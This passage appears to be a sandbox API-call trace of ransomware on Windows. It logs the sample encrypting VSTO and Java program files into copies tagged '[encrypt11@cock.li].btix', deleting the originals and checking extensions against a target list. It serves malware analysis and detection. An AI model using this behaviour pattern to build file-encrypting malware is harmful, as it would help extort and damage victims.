[0060.087] SetEndOfFile (hFile=0x308) returned 1 [0060.088] CloseHandle (hObject=0x308) returned 1 [0060.088] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0060.088] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll")) returned 1 [0060.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0060.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0060.089] lstrlenW (lpString=".doc") returned 4 [0060.089] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0060.089] lstrlenW (lpString=".docx") returned 5 [0060.089] lstrcmpiW (lpString1=".docx", lpString2="I.dll") returned -1 [0060.089] lstrlenW (lpString=".pdf") returned 4 [0060.089] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0060.089] lstrlenW (lpString=".xls") returned 4 [0060.089] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0060.089] lstrlenW (lpString=".xlsx") returned 5 [0060.089] lstrcmpiW (lpString1=".xlsx", lpString2="I.dll") returned -1 [0060.089] lstrlenW (lpString=".ppt") returned 4 [0060.089] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0060.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0060.089] lstrlenW (lpString=".zip") returned 4 [0060.089] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0060.089] lstrlenW (lpString=".rar") returned 4 [0060.089] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0060.089] lstrlenW (lpString=".bz2") returned 4 [0060.089] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0060.089] lstrlenW (lpString=".7z") returned 3 [0060.089] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0060.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0060.089] lstrlenW (lpString=".dbf") returned 4 [0060.089] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0060.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0060.089] lstrlenW (lpString=".1cd") returned 4 [0060.089] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0060.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0060.089] lstrlenW (lpString=".jpg") returned 4 [0060.090] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0060.090] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.090] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.090] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0060.090] GetLastError () returned 0x0 [0060.090] ReadFile (in: hFile=0x308, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x18888, lpOverlapped=0x0) returned 1 [0060.143] WriteFile (in: hFile=0x3a4, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x18890, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x18890, lpOverlapped=0x0) returned 1 [0060.145] ReadFile (in: hFile=0x308, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0060.145] WriteFile (in: hFile=0x3a4, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0xf6, lpOverlapped=0x0) returned 1 [0060.145] SetEndOfFile (hFile=0x3a4) returned 1 [0060.145] CloseHandle (hObject=0x3a4) returned 1 [0060.147] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.147] SetEndOfFile (hFile=0x308) returned 1 [0060.149] CloseHandle (hObject=0x308) returned 1 [0060.149] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0060.149] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe")) returned 1 [0060.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0060.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0060.149] lstrlenW (lpString=".doc") returned 4 [0060.149] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0060.149] lstrlenW (lpString=".docx") returned 5 [0060.149] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0060.149] lstrlenW (lpString=".pdf") returned 4 [0060.149] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0060.149] lstrlenW (lpString=".xls") returned 4 [0060.149] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0060.149] lstrlenW (lpString=".xlsx") returned 5 [0060.149] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0060.149] lstrlenW (lpString=".ppt") returned 4 [0060.150] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0060.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0060.150] lstrlenW (lpString=".zip") returned 4 [0060.150] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0060.150] lstrlenW (lpString=".rar") returned 4 [0060.150] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0060.150] lstrlenW (lpString=".bz2") returned 4 [0060.150] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0060.150] lstrlenW (lpString=".7z") returned 3 [0060.150] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0060.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0060.150] lstrlenW (lpString=".dbf") returned 4 [0060.150] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0060.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0060.150] lstrlenW (lpString=".1cd") returned 4 [0060.150] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0060.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0060.150] lstrlenW (lpString=".jpg") returned 4 [0060.150] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0060.169] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.169] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.170] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0060.172] GetLastError () returned 0x0 [0060.172] ReadFile (in: hFile=0x328, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x4298, lpOverlapped=0x0) returned 1 [0060.192] WriteFile (in: hFile=0x320, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x42a0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x42a0, lpOverlapped=0x0) returned 1 [0060.193] ReadFile (in: hFile=0x328, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0060.193] WriteFile (in: hFile=0x320, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0xee, lpOverlapped=0x0) returned 1 [0060.193] SetEndOfFile (hFile=0x320) returned 1 [0060.194] CloseHandle (hObject=0x320) returned 1 [0060.194] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.194] SetEndOfFile (hFile=0x328) returned 1 [0060.195] CloseHandle (hObject=0x328) returned 1 [0060.196] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0060.196] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb")) returned 1 [0060.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0060.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0060.196] lstrlenW (lpString=".doc") returned 4 [0060.196] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0060.196] lstrlenW (lpString=".docx") returned 5 [0060.196] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1 [0060.196] lstrlenW (lpString=".pdf") returned 4 [0060.196] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0060.196] lstrlenW (lpString=".xls") returned 4 [0060.196] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0060.197] lstrlenW (lpString=".xlsx") returned 5 [0060.197] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1 [0060.197] lstrlenW (lpString=".ppt") returned 4 [0060.197] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0060.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0060.197] lstrlenW (lpString=".zip") returned 4 [0060.197] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0060.197] lstrlenW (lpString=".rar") returned 4 [0060.197] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0060.197] lstrlenW (lpString=".bz2") returned 4 [0060.197] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0060.197] lstrlenW (lpString=".7z") returned 3 [0060.197] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0060.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0060.197] lstrlenW (lpString=".dbf") returned 4 [0060.197] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0060.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0060.197] lstrlenW (lpString=".1cd") returned 4 [0060.197] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0060.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0060.197] lstrlenW (lpString=".jpg") returned 4 [0060.197] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0060.266] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.266] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.266] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0060.266] GetLastError () returned 0x0 [0060.266] ReadFile (in: hFile=0x328, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x5898, lpOverlapped=0x0) returned 1 [0060.574] WriteFile (in: hFile=0x320, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x58a0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x58a0, lpOverlapped=0x0) returned 1 [0060.589] ReadFile (in: hFile=0x328, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0060.589] WriteFile (in: hFile=0x320, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0xec, lpOverlapped=0x0) returned 1 [0060.589] SetEndOfFile (hFile=0x320) returned 1 [0060.589] CloseHandle (hObject=0x320) returned 1 [0060.595] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.595] SetEndOfFile (hFile=0x328) returned 1 [0060.599] CloseHandle (hObject=0x328) returned 1 [0060.603] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0060.603] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb")) returned 1 [0060.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0060.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0060.612] lstrlenW (lpString=".doc") returned 4 [0060.612] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0060.612] lstrlenW (lpString=".docx") returned 5 [0060.612] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1 [0060.612] lstrlenW (lpString=".pdf") returned 4 [0060.612] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0060.612] lstrlenW (lpString=".xls") returned 4 [0060.612] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0060.612] lstrlenW (lpString=".xlsx") returned 5 [0060.612] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1 [0060.612] lstrlenW (lpString=".ppt") returned 4 [0060.612] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0060.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0060.612] lstrlenW (lpString=".zip") returned 4 [0060.612] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0060.612] lstrlenW (lpString=".rar") returned 4 [0060.613] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0060.613] lstrlenW (lpString=".bz2") returned 4 [0060.613] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0060.613] lstrlenW (lpString=".7z") returned 3 [0060.613] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0060.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0060.613] lstrlenW (lpString=".dbf") returned 4 [0060.613] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0060.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0060.613] lstrlenW (lpString=".1cd") returned 4 [0060.613] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0060.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0060.613] lstrlenW (lpString=".jpg") returned 4 [0060.613] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0070.881] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.881] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.881] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0070.922] GetLastError () returned 0x0 [0070.922] ReadFile (in: hFile=0x394, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x27040, lpOverlapped=0x0) returned 1 [0070.945] WriteFile (in: hFile=0x308, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x27050, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x27050, lpOverlapped=0x0) returned 1 [0070.948] ReadFile (in: hFile=0x394, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0070.948] WriteFile (in: hFile=0x308, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0xe4, lpOverlapped=0x0) returned 1 [0070.948] SetEndOfFile (hFile=0x308) returned 1 [0070.948] CloseHandle (hObject=0x308) returned 1 [0070.948] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.948] SetEndOfFile (hFile=0x394) returned 1 [0070.949] CloseHandle (hObject=0x394) returned 1 [0070.950] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0070.950] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll")) returned 1 [0070.950] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0070.950] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0070.950] lstrlenW (lpString=".doc") returned 4 [0070.950] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0070.950] lstrlenW (lpString=".docx") returned 5 [0070.950] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0070.950] lstrlenW (lpString=".pdf") returned 4 [0070.950] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0070.950] lstrlenW (lpString=".xls") returned 4 [0070.950] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0070.950] lstrlenW (lpString=".xlsx") returned 5 [0070.950] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0070.950] lstrlenW (lpString=".ppt") returned 4 [0070.950] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0070.951] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0070.951] lstrlenW (lpString=".zip") returned 4 [0070.951] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0070.951] lstrlenW (lpString=".rar") returned 4 [0070.951] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0070.951] lstrlenW (lpString=".bz2") returned 4 [0070.951] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0070.951] lstrlenW (lpString=".7z") returned 3 [0070.951] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0070.951] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0070.951] lstrlenW (lpString=".dbf") returned 4 [0070.951] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0070.951] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0070.951] lstrlenW (lpString=".1cd") returned 4 [0070.951] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0070.951] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0070.951] lstrlenW (lpString=".jpg") returned 4 [0070.951] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0070.952] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.952] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.952] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0071.006] GetLastError () returned 0x0 [0071.006] ReadFile (in: hFile=0x394, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0xfa840, lpOverlapped=0x0) returned 1 [0071.049] WriteFile (in: hFile=0x32c, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xfa850, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0xfa850, lpOverlapped=0x0) returned 1 [0071.065] ReadFile (in: hFile=0x394, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0071.065] WriteFile (in: hFile=0x32c, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0xf2, lpOverlapped=0x0) returned 1 [0071.065] SetEndOfFile (hFile=0x32c) returned 1 [0071.065] CloseHandle (hObject=0x32c) returned 1 [0071.065] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.065] SetEndOfFile (hFile=0x394) returned 1 [0071.073] CloseHandle (hObject=0x394) returned 1 [0071.073] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0071.073] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll")) returned 1 [0071.074] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0071.074] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0071.074] lstrlenW (lpString=".doc") returned 4 [0071.074] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0071.074] lstrlenW (lpString=".docx") returned 5 [0071.074] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0071.074] lstrlenW (lpString=".pdf") returned 4 [0071.074] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0071.074] lstrlenW (lpString=".xls") returned 4 [0071.074] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0071.074] lstrlenW (lpString=".xlsx") returned 5 [0071.074] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0071.074] lstrlenW (lpString=".ppt") returned 4 [0071.074] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0071.074] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0071.074] lstrlenW (lpString=".zip") returned 4 [0071.074] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0071.074] lstrlenW (lpString=".rar") returned 4 [0071.074] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0071.074] lstrlenW (lpString=".bz2") returned 4 [0071.074] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0071.074] lstrlenW (lpString=".7z") returned 3 [0071.074] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0071.075] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0071.075] lstrlenW (lpString=".dbf") returned 4 [0071.075] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0071.075] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0071.075] lstrlenW (lpString=".1cd") returned 4 [0071.075] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0071.075] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 